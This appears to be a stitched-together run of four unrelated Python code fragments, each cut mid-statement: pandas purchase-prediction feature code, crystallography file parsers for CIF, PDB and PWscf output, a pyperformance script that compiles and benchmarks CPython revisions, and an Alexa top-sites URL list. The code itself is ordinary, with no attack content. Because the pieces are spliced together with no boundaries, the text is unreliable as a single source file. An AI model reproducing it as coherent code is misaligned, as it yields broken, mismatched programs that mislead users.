ucs_bi_count_in_n = pd.merge(ucs_bi_count_in_n, ucs_bi_count_in_1, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) # ucs_bi_count_in_n.to_csv('../data/features/features_2_4/ucs_bi_count_in_n.csv', index=False, encoding='utf-8') ucs_features = pd.merge(ucs_features, ucs_bi_count_in_n, on=['user_id', 'cate', 'shop_id'], how='left').fillna(0) print('ucs_bi_count_in_n') # (4)ucs_b2_diff_day(用户的点击购买平均时差,反映了用户的购买决策时间习惯) Path = '../data/features/features_2_4/ucs_b2_diff_day.csv' if os.path.exists(Path): ucs_b2_diff_day = pd.read_csv(Path) else: userSub = userAll[(userAll['action_time'] <= end_time)] userSub = userSub[['action_time', 'user_id', 'cate', 'shop_id', 'type_1', 'type_2']] userSub.drop_duplicates(inplace=True) userSub = userSub.sort_values(by=['user_id', 'cate', 'shop_id', 'action_time'], axis=0, ascending=False) # print(userSub.head(20)) usertmp1 = userSub[userSub['type_1'] == 1].drop(['type_2'], axis=1) usertmp1 = usertmp1.drop_duplicates(['user_id', 'cate', 'shop_id', 'type_1'], keep='last', inplace=False) usertmp1.rename(columns={'action_time': 'action_time_1'}, inplace=True) usertmp2 = userSub[userSub['type_2'] == 1].drop(['type_1'], axis=1) usertmp2 = usertmp2.drop_duplicates(['user_id', 'cate', 'shop_id', 'type_2'], keep='first', inplace=False) usertmp2.rename(columns={'action_time': 'action_time_2'}, inplace=True) # print(usertmp1.head()) # print(usertmp2.head()) usertmp = pd.merge(usertmp1, usertmp2, how='inner', on=['user_id', 'cate', 'shop_id']) # print(usertmp.head(20)) userSub = userSub[userSub['type_2'] == 1].drop(['type_1'], axis=1) userSub = userSub.groupby(['user_id', 'cate', 'shop_id'])['action_time'].nunique().reset_index( name='ucs_ac_nunique') userSub = pd.merge(usertmp, userSub, on=['user_id', 'cate', 'shop_id'], how='left') userSub['ucs_b2_diff_day'] = ( pd.to_datetime(userSub['action_time_2']) - pd.to_datetime(userSub['action_time_1'])).dt.days # print(usertmp.head(20)) userSub['ucs_b2_diff_day'] = userSub['ucs_b2_diff_day'] / userSub['ucs_ac_nunique'] ucs_b2_diff_day = userSub[['user_id', 'cate', 'shop_id',
= angbe between b,c # beta = angbe between a,c # gamma = angbe between a,b self.try_set_attr('_cif_block') cif_dct = {} for x in ['a', 'b', 'c']: what = '_cell_length_' + x cif_dct[x] = self.cif_str2float(self._cif_block[what]) for x in ['alpha', 'beta', 'gamma']: what = '_cell_angle_' + x cif_dct[x] = self.cif_str2float(self._cif_block[what]) return cif_dct def _get_cif_block(self): cf = pycifrw_CifFile.ReadCif(self.filename) if self.block is None: cif_block = cf.first_block() else: cif_block = cf['data_' + self.block] return cif_block def get_coords_frac(self): if self.check_set_attr('_cif_block'): if '_atom_site_fract_x' in self._cif_block: arr = np.array([list(map(self.cif_str2float, [x,y,z])) for x,y,z in zip( self._cif_block['_atom_site_fract_x'], self._cif_block['_atom_site_fract_y'], self._cif_block['_atom_site_fract_z'])]) return arr else: return None else: return None def get_coords(self): if self.check_set_attr('_cif_block'): if '_atom_site_Cartn_x' in self._cif_block: arr = np.array([list(map(self.cif_str2float, [x,y,z])) for x,y,z in zip( self._cif_block['_atom_site_Cartn_x'], self._cif_block['_atom_site_Cartn_y'], self._cif_block['_atom_site_Cartn_z'])]) return arr else: return None else: return None def get_symbols(self): self.try_set_attr('_cif_block') try_lst = ['_atom_site_type_symbol', '_atom_site_label'] for entry in try_lst: if entry in self._cif_block: return list(map(self.cif_clear_atom_symbol, self._cif_block[entry])) return None def get_cryst_const(self): self.try_set_attr('_cif_dct') return np.array([self._cif_dct[key] for key in \ ['a', 'b', 'c', 'alpha', 'beta', 'gamma']]) class PDBFile(StructureFileParser): """Very very simple pdb file parser. Extract only ATOM/HETATM and CRYST1 (if present) records. If you want smth serious, check biopython or openbabel. Notes ----- self.cryst_const : If no CRYST1 record is found, this is None. parsing: We use regexes which may not work for more complicated ATOM records. We don't use the strict column numbers for each field as stated in the PDB spec. """ # Notes: # # Grep atom symbols and coordinates in Angstrom ([A]) from PDB file. # Note that for the atom symbols, we do NOT use the columns 77-78 # ("Element symbol"), b/c that is apparently not present in all the # files which we currently use. Instead, we use the columns 13-16, i.e. # "Atom name". Note that in general this is not the element symbol. # # From the PDB spec v3.20: # # ATOM record: # # COLUMNS DATA TYPE FIELD DEFINITION # ------------------------------------------------------------------------------------- # 1 - 6 Record name "ATOM " # 7 - 11 Integer serial Atom serial number. # 13 - 16 Atom name Atom name. # 17 Character altLoc Alternate location indicator. # 18 - 20 Residue name resName Residue name. # 22 Character chainID Chain identifier. # 23 - 26 Integer resSeq Residue sequence number. # 27 AChar iCode Code for insertion of residues. # 31 - 38 Real(8.3) x Orthogonal coordinates for X in Angstroms. # 39 - 46 Real(8.3) y Orthogonal coordinates for Y in Angstroms. # 47 - 54 Real(8.3) z Orthogonal coordinates for Z in Angstroms. # 55 - 60 Real(6.2) occupancy Occupancy. # 61 - 66 Real(6.2) tempFactor Temperature factor. # 77 - 78 LString(2) element Element symbol, right-justified. # 79 - 80 LString(2) charge Charge on the atom. # # CRYST1 record: # # COLUMNS DATA TYPE FIELD DEFINITION # ------------------------------------------------------------- # 1 - 6 Record name "CRYST1" # 7 - 15 Real(9.3) a a (Angstroms). # 16 - 24 Real(9.3) b b (Angstroms). # 25 - 33 Real(9.3) c c (Angstroms). # 34 - 40 Real(7.2) alpha alpha (degrees). # 41 - 47 Real(7.2) beta beta (degrees). # 48 - 54 Real(7.2) gamma gamma (degrees). # 56 - 66 LString sGroup Space group. # 67 - 70 Integer z Z value. # def __init__(self, filename=None, *args, **kwds): StructureFileParser.__init__(self, filename=filename, *args, **kwds) # only the ones for which we have getters self.attr_lst = [\ 'coords', 'symbols', 'cryst_const', ] self.init_attr_lst() if self.filename is not None: self.txt = common.file_read(self.filename) def _get_coords_data(self): pat = r'(ATOM|HETATM)[\s0-9]+([A-Za-z]+)[\sa-zA-Z0-9]*' + \ r'[\s0-9]+((\s+'+ regex.float_re + r'){3}?)' # array of string type return np.array([[m.group(2)] + m.group(3).split() for m in \ re.finditer(pat,self.txt)]) def get_symbols(self): # list of strings (system:nat,) # Fix atom names, e.g. "AL" -> Al. Note that this is only needed b/c we # use the "wrong" column "Atom name". self.try_set_attr('_coords_data') symbols = [] for sym in self._coords_data[:,0]: if len(sym) == 2: symbols.append(sym[0] + sym[1].lower()) else: symbols.append(sym) return symbols def get_coords(self): self.try_set_attr('_coords_data') # float array, (system:nat, 3) return self._coords_data[:,1:].astype(float) def get_cryst_const(self): # grep CRYST1 record, extract only crystallographic constants # example: # CRYST1 52.000 58.600 61.900 90.00 90.00 90.00 P 21 21 21 8 # a b c alpha beta gamma |space grp| z-value pat = r'CRYST1\s+((\s+' + regex.float_re + r'){6}).*' match = re.search(pat, self.txt) return np.array(match.group(1).split()).astype(float) class PwSCFOutputFile(StructureFileParser): r"""Parse a pw.x SCF output file (calculation='scf'). Some getters (_get_<attr>_raw) work for MD-like output, too. Here in the SCF case, only the first item along the time axis is returned and should only be used on calculation='scf' output. SCF output files don't have an ATOMIC_POSITIONS block. We need to parse the block below, which can be found at the top the file (cartesian, divided by alat). From that, we also get symbols:: Cartesian axes site n. atom positions (a_0 units) 1 Al tau( 1) = ( -0.0000050 0.5773532 0.0000000 ) 2 Al tau( 2) = ( 0.5000050 0.2886722 0.8000643 ) 3 N tau( 3) = ( -0.0000050 0.5773532 0.6208499 ) 4 N tau( 4) = ( 0.5000050 0.2886722 1.4209142 ) Many quantities in PWscf's output files are always in units of the lattice vector "a" (= a_0 = celldm1 = "alat" [Bohr]), i.e. divided by that value, which is usually printed in the output in low precision:: lattice parameter (a_0) = 5.8789 a.u. You can parse that value with ``get_alat(use_alat=True)``. We do that by default: ``PwSCFOutputFile(filename, use_alat=True)`` b/c this is what most people will expect if they just call the parser on some file. Then, we multiply all relevent quantities with dimension length with the alat value from pw.out automatically. If ``use_alat=False``, we use ``alat=1.0``, i.e. all length quantities which are "in alat units" are returned exactly as found in the file, which is the same behavior as in all other parsers. Unit conversion happens only when we pass things to Structure / Trajectory using self.units. If you need/want to use another alat (i.e. a value with more precision), then you need to explicitly provide that value and use ``use_alat=False``:: >>> alat = 1.23456789 # high precision value in Bohr >>> pp = PwSCFOutputFile('pw.out', use_alat=False, units={'length': alat*Bohr/Ang}) >>> st = pp.get_struct() ``use_alat=False`` will prevent parsing the low precision value from 'pw.out'. The option ``units=...`` will overwrite ``default_units['length'] = Bohr/Ang``, which is used to convert all PWscf length [Bohr] to [Ang] when passing things to Trajectory. In either case, all quantities with a length unit or derived from such a quantitiy, e.g. | cell | cryst_const | coords | coords_frac | volume | ... will be correct (up to alat's precision). All getters return PWscf standard units (Ry, Bohr, ...). It is a special case for PWscf that a parser class may modify values parsed from a file (multiply by alat if use_alat=True, etc) *before* they are passed over to Structure / Trajectory b/c otherwise the numbers would be pretty useless, unless you use `units` explicitely. To get an object with pwtools standard units (eV, Angstrom, ...), use :meth:`get_struct`. Notes ----- Total force: Pwscf writes a "Total Force" after the "Forces acting on atoms" section . This value a UNnormalized RMS of the force matrix (f_ij, i=1,natoms j=1,2,3) printed. According to .../PW/forces.f90, variable "sumfor", the "Total Force" is ``sqrt(sum_ij f_ij^2)``. Use ``crys.rms(self.forces)`` (for PwSCFOutputFile) or ``crys.rms3d(self.forces, axis=self.timeaxis)`` (for PwMDOutputFile) instead. Verbose force printing: When using van der Waals (``london=.true.``) or ``verbosity='high'``, then more than one force block (natoms,3) is printed. In that case, we assume the first block to be the sum of all force contributions and that will end up in ``self.forces``. Each subsequent block is discarded from ``self.forces``. However, you may use ``self._forces_raw`` (see ``self._get_forces_raw()``) to obtain all forces, which will have the shape (N*natoms). The forces blocks will be in the following order: ===================== ===================== ======================= ``london=.true.`` ``verbosity='high'`` ``verbosity='high'`` + ``london=.true.`` ===================== ===================== ======================= sum sum sum vdw
import configparser import datetime import errno import json import logging import math import os.path import pyperf import re import shlex import shutil import statistics import subprocess import sys import time from urllib.error import HTTPError from urllib.parse import urlencode from urllib.request import urlopen import pyperformance from pyperformance._utils import MS_WINDOWS from pyperformance.venv import (GET_PIP_URL, REQ_OLD_PIP, PERFORMANCE_ROOT, download, is_build_dir) GIT = True DEFAULT_BRANCH = 'master' if GIT else 'default' LOG_FORMAT = '%(asctime)-15s: %(message)s' EXIT_ALREADY_EXIST = 10 EXIT_COMPILE_ERROR = 11 EXIT_VENV_ERROR = 11 EXIT_BENCH_ERROR = 12 def parse_date(text): def replace_timezone(regs): text = regs.group(0) return text[:2] + text[3:] # replace '+01:00' with '+0100' text2 = re.sub(r'[0-9]{2}:[0-9]{2}$', replace_timezone, text) # ISO 8601 with timezone: '2017-03-30T19:12:18+00:00' return datetime.datetime.strptime(text2, "%Y-%m-%dT%H:%M:%S%z") class Task(object): def __init__(self, app, cwd): self.app = app self.cwd = cwd def get_output_nocheck(self, *cmd): return self.app.get_output_nocheck(*cmd, cwd=self.cwd) def get_output(self, *cmd): return self.app.get_output(*cmd, cwd=self.cwd) def run_nocheck(self, *cmd, **kw): return self.app.run_nocheck(*cmd, cwd=self.cwd, **kw) def run(self, *cmd, **kw): self.app.run(*cmd, cwd=self.cwd, **kw) class Repository(Task): def __init__(self, app, path): super().__init__(app, path) self.logger = app.logger self.app = app self.conf = app.conf def fetch(self): if GIT: self.run('git', 'fetch') else: self.run('hg', 'pull') def parse_revision(self, revision): branch_rev = '%s/%s' % (self.conf.git_remote, revision) exitcode, stdout = self.get_output_nocheck('git', 'rev-parse', '--verify', branch_rev) if not exitcode: return (True, branch_rev, stdout) exitcode, stdout = self.get_output_nocheck('git', 'rev-parse', '--verify', revision) if not exitcode and stdout.startswith(revision): revision = stdout return (False, revision, revision) self.logger.error("ERROR: unable to parse revision %r" % (revision,)) sys.exit(1) def checkout(self, revision): if GIT: # remove all untracked files self.run('git', 'clean', '-fdx') # checkout to requested revision self.run('git', 'reset', '--hard', 'HEAD') self.run('git', 'checkout', revision) # remove all untracked files self.run('git', 'clean', '-fdx') else: self.run('hg', 'up', '--clean', '-r', revision) # FIXME: run hg purge? def get_revision_info(self, revision): if GIT: cmd = ['git', 'show', '-s', '--pretty=format:%H|%ci', '%s^!' % revision] else: cmd = ['hg', 'log', '--template', '{node}|{date|isodate}', '-r', revision] stdout = self.get_output(*cmd) if GIT: node, date = stdout.split('|') date = datetime.datetime.strptime(date, '%Y-%m-%d %H:%M:%S %z') # convert local date to UTC date = (date - date.utcoffset()).replace(tzinfo=datetime.timezone.utc) else: node, date = stdout.split('|') date = datetime.datetime.strptime(date[:16], '%Y-%m-%d %H:%M') return (node, date) class Application(object): def __init__(self, conf, options): self.conf = conf self.options = options logging.basicConfig(format=LOG_FORMAT) self.logger = logging.getLogger() self.log_filename = None def setup_log(self, prefix): prefix = re.sub('[^A-Za-z0-9_-]+', '_', prefix) prefix = re.sub('_+', '_', prefix) date = datetime.datetime.now() date = date.strftime('%Y-%m-%d_%H-%M-%S.log') filename = '%s-%s' % (prefix, date) self.log_filename = os.path.join(self.conf.directory, filename) log = self.log_filename if os.path.exists(log): self.logger.error("ERROR: Log file %s already exists" % log) sys.exit(1) self.safe_makedirs(os.path.dirname(log)) handler = logging.FileHandler(log) formatter = logging.Formatter(LOG_FORMAT) handler.setFormatter(formatter) self.logger.addHandler(handler) def create_subprocess(self, cmd, **kwargs): self.logger.error("+ %s" % ' '.join(map(shlex.quote, cmd))) return subprocess.Popen(cmd, **kwargs) def run_nocheck(self, *cmd, stdin_filename=None, **kwargs): if stdin_filename: stdin_file = open(stdin_filename, "rb", 0) kwargs['stdin'] = stdin_file.fileno() else: stdin_file = None log_stdout = kwargs.pop('log_stdout', True) if log_stdout: kwargs['stdout'] = subprocess.PIPE kwargs['stderr'] = subprocess.STDOUT kwargs['universal_newlines'] = True try: proc = self.create_subprocess(cmd, **kwargs) # FIXME: support Python 2? with proc: if log_stdout: for line in proc.stdout: line = line.rstrip() self.logger.error(line) exitcode = proc.wait() finally: if stdin_file is not None: stdin_file.close() if exitcode: cmd_str = ' '.join(map(shlex.quote, cmd)) self.logger.error("Command %s failed with exit code %s" % (cmd_str, exitcode)) return exitcode def run(self, *cmd, **kw): exitcode = self.run_nocheck(*cmd, **kw) if exitcode: sys.exit(exitcode) def get_output_nocheck(self, *cmd, **kwargs): proc = self.create_subprocess(cmd, stdout=subprocess.PIPE, universal_newlines=True, **kwargs) # FIXME: support Python 2? with proc: stdout = proc.communicate()[0] stdout = stdout.rstrip() exitcode = proc.wait() if exitcode: cmd_str = ' '.join(map(shlex.quote, cmd)) self.logger.error("Command %s failed with exit code %s" % (cmd_str, exitcode)) return (exitcode, stdout) def get_output(self, *cmd, **kwargs): exitcode, stdout = self.get_output_nocheck(*cmd, **kwargs) if exitcode: for line in stdout.splitlines(): self.logger.error(line) sys.exit(exitcode) return stdout def safe_rmdir(self, directory): if os.path.exists(directory): self.logger.error("Remove directory %s" % directory) shutil.rmtree(directory) def safe_makedirs(self, directory): try: os.makedirs(directory) except OSError as exc: if exc.errno != errno.EEXIST: raise def resolve_python(prefix, builddir, *, fallback=True): if sys.platform in ('darwin', 'win32'): program_ext = '.exe' else: program_ext = '' if prefix: if sys.platform == 'darwin': program_ext = '' program = os.path.join(prefix, "bin", "python3" + program_ext) exists = os.path.exists(program) if not exists and fallback: program2 = os.path.join(prefix, "bin", "python" + program_ext) if os.path.exists(program2): program = program2 exists = True else: assert builddir program = os.path.join(builddir, "python" + program_ext) exists = os.path.exists(program) return program, exists class Python(Task): def __init__(self, app, conf): super().__init__(app, conf.build_dir) self.app = app self.branch = app.branch self.conf = conf self.logger = app.logger self.program = None self.hexversion = None def patch(self, filename): if not filename: return self.logger.error('Apply patch %s in %s (revision %s)' % (filename, self.conf.repo_dir, self.app.revision)) self.app.run('patch', '-p1', cwd=self.conf.repo_dir, stdin_filename=filename) def compile(self): build_dir = self.conf.build_dir self.app.safe_rmdir(build_dir) self.app.safe_makedirs(build_dir) config_args = [] if self.branch.startswith("2.") and not MS_WINDOWS: # On Python 2, use UCS-4 for Unicode on all platforms, except # on Windows which uses UTF-16 because of its 16-bit wchar_t config_args.append('--enable-unicode=ucs4') if self.conf.prefix: config_args.extend(('--prefix', self.conf.prefix)) if self.conf.debug: config_args.append('--with-pydebug') elif self.conf.lto: config_args.append('--with-lto') if self.conf.pkg_only: config_args.extend(self.get_package_only_flags()) if self.conf.debug: config_args.append('CFLAGS=-O0') configure = os.path.join(self.conf.repo_dir, 'configure') self.run(configure, *config_args) if self.conf.pgo: # FIXME: use taskset (isolated CPUs) for PGO? self.run('make', 'profile-opt') else: self.run('make') def install_python(self): program, _ = resolve_python( self.conf.prefix if self.conf.install else None, self.conf.build_dir, ) if self.conf.install: program, _ = resolve_python(self.conf.prefix, self.conf.build_dir) self.app.safe_rmdir(self.conf.prefix) self.app.safe_makedirs(self.conf.prefix) self.run('make', 'install') else: program, _ = resolve_python(None, self.conf.build_dir) # else don't install: run python from the compilation directory self.program = program def get_version(self): # Dump the Python version self.logger.error("Installed Python version:") self.run(self.program, '--version') # Get the Python version code = 'import sys; print(sys.hexversion)' stdout = self.get_output(self.program, '-c', code) self.hexversion = int(stdout) self.logger.error("Python hexversion: %x" % self.hexversion) def get_package_only_flags(self): arguments = [] extra_paths = [] for pkg in self.conf.pkg_only: prefix = self.get_package_prefix(pkg) if pkg == 'openssl': arguments.append('--with-openssl=' + prefix) else: extra_paths.append(prefix) if extra_paths: # Flags are one CLI arg each and do not need quotes. ps = ['-I%s/include' % p for p in extra_paths] arguments.append('CFLAGS=%s' % ' '.join(ps)) ps = ['-L%s/lib' % p for p in extra_paths] arguments.append('LDFLAGS=%s' % ' '.join(ps)) return arguments def get_package_prefix(self, name): if sys.platform == 'darwin': cmd = ['brew', '--prefix', name] else: self.logger.error("ERROR: package-only libraries" " are not supported on %s" % sys.platform) sys.exit(1) stdout = self.get_output(*cmd) self.logger.error("Package prefix for %s is '%s'" % (name, stdout)) return stdout def download(self, url, filename): self.logger.error("Download %s into %s" % (url, filename)) download(url, filename) def _install_pip(self): # On Python: 3.5a0 <= version < 3.5.0 (final), install pip 7.1.2, # the last version working on Python 3.5a0: # https://sourceforge.net/p/pyparsing/bugs/100/ force_old_pip = (0x30500a0 <= self.hexversion < 0x30500f0) # is pip already installed and working? exitcode = self.run_nocheck(self.program, '-u', '-m', 'pip', '--version') if not exitcode: if force_old_pip: self.run(self.program, '-u', '-m', 'pip', 'install', REQ_OLD_PIP) else: # Upgrade pip self.run(self.program, '-u', '-m', 'pip', 'install', '-U', 'pip') return # pip is missing (or broken?): install it filename = os.path.join(self.conf.directory, 'get-pip.py') if not os.path.exists(filename): self.download(GET_PIP_URL, filename) if force_old_pip: self.run(self.program, '-u', filename, REQ_OLD_PIP) else: # Install pip self.run(self.program, '-u', filename) def install_pip(self): self._install_pip() # Dump the pip version self.run(self.program, '-u', '-m', 'pip', '--version') def install_performance(self): cmd = [self.program, '-u', '-m', 'pip', 'install'] if is_build_dir(): root_dir = os.path.dirname(PERFORMANCE_ROOT) cmd.extend(('-e', root_dir)) else: version = pyperformance.__version__ cmd.append('pyperformance==%s' % version) self.run(*cmd) def compile_install(self): self.compile() self.install_python() self.get_version() self.install_pip() self.install_performance() class BenchmarkRevision(Application): _dryrun = False def __init__(self, conf, revision, branch=None, patch=None, setup_log=True, filename=None, commit_date=None, options=None): super().__init__(conf, options) self.patch = patch self.exitcode = 0 self.uploaded = False if setup_log: if branch: prefix = 'compile-%s-%s' % (branch, revision) else: prefix = 'compile-%s' % revision self.setup_log(prefix) if filename is None: self.repository = Repository(self, conf.repo_dir) self.init_revision(revision, branch) else: # path used by cmd_upload() self.repository = None self.filename = filename self.revision = revision self.branch = branch self.commit_date = commit_date self.logger.error("Commit: branch=%s, revision=%s" % (self.branch, self.revision)) self.upload_filename = os.path.join(self.conf.uploaded_json_dir, os.path.basename(self.filename)) def init_revision(self, revision, branch=None): if self.conf.update: self.repository.fetch() if branch: is_branch, rev_name, full_revision = self.repository.parse_revision(branch) if not is_branch: self.logger.error("ERROR: %r is not a Git branch" % self.branch) sys.exit(1) self.branch = branch else: self.branch = None is_branch, rev_name, full_revision = self.repository.parse_revision(revision) if is_branch: if self.branch and revision != self.branch: raise ValueError("inconsistenct branches: " "revision=%r, branch=%r" % (revision, branch)) self.branch = revision elif not self.branch: self.branch = DEFAULT_BRANCH self.revision, date = self.repository.get_revision_info(rev_name) self.logger.error("Commit: branch=%s, revision=%s, date=%s" % (self.branch, self.revision, date)) self.commit_date = date date = date.strftime('%Y-%m-%d_%H-%M') filename = '%s-%s-%s' % (date, self.branch, self.revision[:12]) if self.patch: patch =
Alexa global 'http://www.ocregister.com/', # Why: #9626 in Alexa global 'http://www.noelshack.com/', # Why: #9627 in Alexa global 'http://www.ipanelonline.com/', # Why: #9628 in Alexa global 'http://www.klart.se/', # Why: #9629 in Alexa global 'http://www.ismedia.jp/', # Why: #9630 in Alexa global 'http://hqew.com/', # Why: #9631 in Alexa global 'http://www.moodle.org/', # Why: #9632 in Alexa global 'http://www.westernunion.fr/', # Why: #9633 in Alexa global 'http://www.medindia.net/', # Why: #9634 in Alexa global 'http://www.sencha.com/', # Why: #9635 in Alexa global 'http://www.moveon.org/', # Why: #9636 in Alexa global 'http://www.sipeliculas.com/', # Why: #9637 in Alexa global 'http://www.beachbody.com/', # Why: #9639 in Alexa global 'http://www.experts-exchange.com/', # Why: #9640 in Alexa global 'http://www.davidsbridal.com/', # Why: #9641 in Alexa global 'http://www.apotheken-umschau.de/', # Why: #9642 in Alexa global 'http://www.melaleuca.com/', # Why: #9643 in Alexa global 'http://www.cdbaby.com/', # Why: #9644 in Alexa global 'http://www.humblebundle.com/', # Why: #9645 in Alexa global 'http://www.telenet.be/', # Why: #9646 in Alexa global 'http://www.labaq.com/', # Why: #9647 in Alexa global 'http://www.smartaddons.com/', # Why: #9648 in Alexa global 'http://www.vukajlija.com/', # Why: #9649 in Alexa global 'http://www.zalando.es/', # Why: #9650 in Alexa global 'http://www.articlerich.com/', # Why: #9651 in Alexa global 'http://www.dm456.com/', # Why: #9652 in Alexa global 'http://www.global-adsopt.com/', # Why: #9653 in Alexa global 'http://www.forumophilia.com/', # Why: #9654 in Alexa global 'http://www.dafiti.com.mx/', # Why: #9655 in Alexa global 'http://www.funnystuff247.org/', # Why: #9656 in Alexa global 'http://www.300mbfilms.com/', # Why: #9657 in Alexa global 'http://www.xvideospornogratis.com/', # Why: #9658 in Alexa global 'http://www.readnovel.com/', # Why: #9659 in Alexa global 'http://www.khmer-news.org/', # Why: #9660 in Alexa global 'http://www.media970.com/', # Why: #9661 in Alexa global 'http://www.zwinky.com/', # Why: #9662 in Alexa global 'http://www.newsbullet.in/', # Why: #9663 in Alexa global 'http://www.pingfarm.com/', # Why: #9664 in Alexa global 'http://www.lovetoknow.com/', # Why: #9665 in Alexa global 'http://www.dntx.com/', # Why: #9666 in Alexa global 'http://www.dip.jp/', # Why: #9667 in Alexa global 'http://www.pap.fr/', # Why: #9668 in Alexa global 'http://www.dizzcloud.com/', # Why: #9669 in Alexa global 'http://www.nav.no/', # Why: #9670 in Alexa global 'http://www.lotto.pl/', # Why: #9671 in Alexa global 'http://www.freemp3whale.com/', # Why: #9672 in Alexa global 'http://www.smartadserver.com/', # Why: #9673 in Alexa global 'http://www.westpac.co.nz/', # Why: #9674 in Alexa global 'http://www.kenrockwell.com/', # Why: #9675 in Alexa global 'http://www.hongkongpost.com/', # Why: #9676 in Alexa global 'http://www.delish.com/', # Why: #9677 in Alexa global 'http://www.islam-lovers.com/', # Why: #9678 in Alexa global 'http://www.edis.at/', # Why: #9679 in Alexa global 'http://www.avery.com/', # Why: #9680 in Alexa global 'http://www.giaitri.com/', # Why: #9681 in Alexa global 'http://www.linksmanagement.com/', # Why: #9682 in Alexa global 'http://www.beruby.com/', # Why: #9683 in Alexa global 'http://www.1stwebgame.com/', # Why: #9684 in Alexa global 'http://www.whocallsme.com/', # Why: #9685 in Alexa global 'http://www.westwood.com/', # Why: #9686 in Alexa global 'http://www.lmaohub.com/', # Why: #9687 in Alexa global 'http://www.theresumator.com/', # Why: #9688 in Alexa global 'http://www.nude.tv/', # Why: #9689 in Alexa global 'http://www.nvrcp.com/', # Why: #9690 in Alexa global 'http://www.bebinin.com/', # Why: #9691 in Alexa global 'http://www.buddypress.org/', # Why: #9693 in Alexa global 'http://www.uitzendinggemist.nl/', # Why: #9694 in Alexa global 'http://www.majorleaguegaming.com/', # Why: #9695 in Alexa global 'http://www.phpclasses.org/', # Why: #9696 in Alexa global 'http://www.inteligo.pl/', # Why: #9697 in Alexa global 'http://www.pinkbike.com/', # Why: #9698 in Alexa global 'http://www.songlyrics.com/', # Why: #9699 in Alexa global 'http://www.ct.gov/', # Why: #9700 in Alexa global 'http://www.timeslive.co.za/', # Why: #9701 in Alexa global 'http://www.snapwidget.com/', # Why: #9702 in Alexa global 'http://www.watchkart.com/', # Why: #9703 in Alexa global 'http://www.col3negoriginalcom.com/', # Why: #9704 in Alexa global 'http://www.bronto.com/', # Why: #9705 in Alexa global 'http://www.coasttocoastam.com/', # Why: #9706 in Alexa global 'http://www.theladbible.com/', # Why: #9707 in Alexa global 'http://narkive.com/', # Why: #9708 in Alexa global 'http://www.the-village.ru/', # Why: #9709 in Alexa global 'http://www.roem.ru/', # Why: #9710 in Alexa global 'http://www.hi-pda.com/', # Why: #9711 in Alexa global 'http://www.411.info/', # Why: #9712 in Alexa global 'http://www.likesasap.com/', # Why: #9713 in Alexa global 'http://www.blitz.bg/', # Why: #9714 in Alexa global 'http://www.goodfon.ru/', # Why: #9715 in Alexa global 'http://www.desktopnexus.com/', # Why: #9716 in Alexa global 'http://www.demis.ru/', # Why: #9717 in Alexa global 'http://www.begun.ru/', # Why: #9718 in Alexa global 'http://www.ekikara.jp/', # Why: #9719 in Alexa global 'http://www.linktech.cn/', # Why: #9720 in Alexa global 'http://www.tezaktrafficpower.com/', # Why: #9721 in Alexa global 'http://www.videos.com/', # Why: #9722 in Alexa global 'http://www.pnet.co.za/', # Why: #9723 in Alexa global 'http://www.rds.ca/', # Why: #9724 in Alexa global 'http://www.dlink.com/', # Why: #9725 in Alexa global 'http://www.ispajuegos.com/', # Why: #9726 in Alexa global 'http://www.foxsportsasia.com/', # Why: #9727 in Alexa global 'http://www.lexisnexis.com/', # Why: #9728 in Alexa global 'http://www.ddproperty.com/', # Why: #9729 in Alexa global 'http://www.1channelmovie.com/', # Why: #9731 in Alexa global 'http://www.postimage.org/', # Why: #9732 in Alexa global 'http://www.rahedaneshjou.ir/', # Why: #9733 in Alexa global 'http://www.modern.az/', # Why: #9734 in Alexa global 'http://www.givemegay.com/', # Why: #9735 in Alexa global 'http://www.tejaratbank.net/', # Why: #9736 in Alexa global 'http://www.rockpapershotgun.com/', # Why: #9737 in Alexa global 'http://www.infogue.com/', # Why: #9738 in Alexa global 'http://www.sfora.pl/', # Why: #9739 in Alexa global 'http://www.liberoquotidiano.it/', # Why: #9740 in Alexa global 'http://www.forumok.com/', # Why: #9741 in Alexa global 'http://www.infonavit.org.mx/', # Why: #9742 in Alexa global 'http://www.bankwest.com.au/', # Why: #9743 in Alexa global 'http://www.al-mashhad.com/', # Why: #9744 in Alexa global 'http://www.ogame.de/', # Why: #9745 in Alexa global 'http://www.triviatoday.com/', # Why: #9746 in Alexa global 'http://www.topspeed.com/', # Why: #9747 in Alexa global 'http://www.kuku123.com/', # Why: #9748 in Alexa global 'http://www.gayforit.eu/', # Why: #9749 in Alexa global 'http://www.alahlionline.com/', # Why: #9750 in Alexa global 'http://www.phonegap.com/', # Why: #9752 in Alexa global 'http://www.superhry.cz/', # Why: #9753 in Alexa global 'http://www.sweepstakes.com/', # Why: #9754 in Alexa global 'http://www.australianbusinessgroup.net/', # Why: #9755 in Alexa global 'http://www.nacion.com/', # Why: #9756 in Alexa global 'http://www.futura-sciences.com/', # Why: #9757 in Alexa global 'http://www.education.gouv.fr/', # Why: #9758 in Alexa global 'http://www.haott.com/', # Why: #9759 in Alexa global 'http://www.ey.com/', # Why: #9760 in Alexa global 'http://www.roksa.pl/', # Why: #9761 in Alexa global 'http://www.manoramanews.com/', # Why: #9762 in Alexa global 'http://www.secretsearchenginelabs.com/', # Why: #9763 in Alexa global 'http://www.alitui.com/', # Why: #9764 in Alexa global 'http://www.depor.pe/', # Why: #9765 in Alexa global 'http://www.rbc.com/', # Why: #9766 in Alexa global 'http://www.tvaguuco.blogspot.se/', # Why: #9767 in Alexa global 'http://www.mediaturf.net/', # Why: #9768 in Alexa global 'http://www.mobilemoneycode.com/', # Why: #9769 in Alexa global 'http://www.radio-canada.ca/', # Why: #9770 in Alexa global 'http://www.shijue.me/', # Why: #9771 in Alexa global 'http://www.upyim.com/', # Why: #9772 in Alexa global 'http://www.indeed.com.br/', # Why: #9773 in Alexa global 'http://www.indianrailways.gov.in/', # Why: #9774 in Alexa global 'http://www.myfreepaysite.com/', # Why: #9775 in Alexa global 'http://www.adchiever.com/', # Why: #9776 in Alexa global 'http://www.xonei.com/', # Why: #9777 in Alexa global 'http://www.kingworldnews.com/', # Why: #9779 in Alexa global 'http://www.twenga.fr/', # Why: #9780 in Alexa global 'http://www.oknation.net/', # Why: #9782 in Alexa global 'http://www.zj4v.info/', # Why: #9783 in Alexa global 'http://www.usanetwork.com/', # Why: #9784 in Alexa global 'http://www.carphonewarehouse.com/', # Why: #9785 in Alexa global 'http://www.impactradius.com/', # Why: #9786 in Alexa global 'http://www.cinepolis.com/', # Why: #9787 in Alexa global 'http://www.tvfun.ma/', # Why: #9788 in Alexa global 'http://www.secureupload.eu/', # Why: #9789 in Alexa global 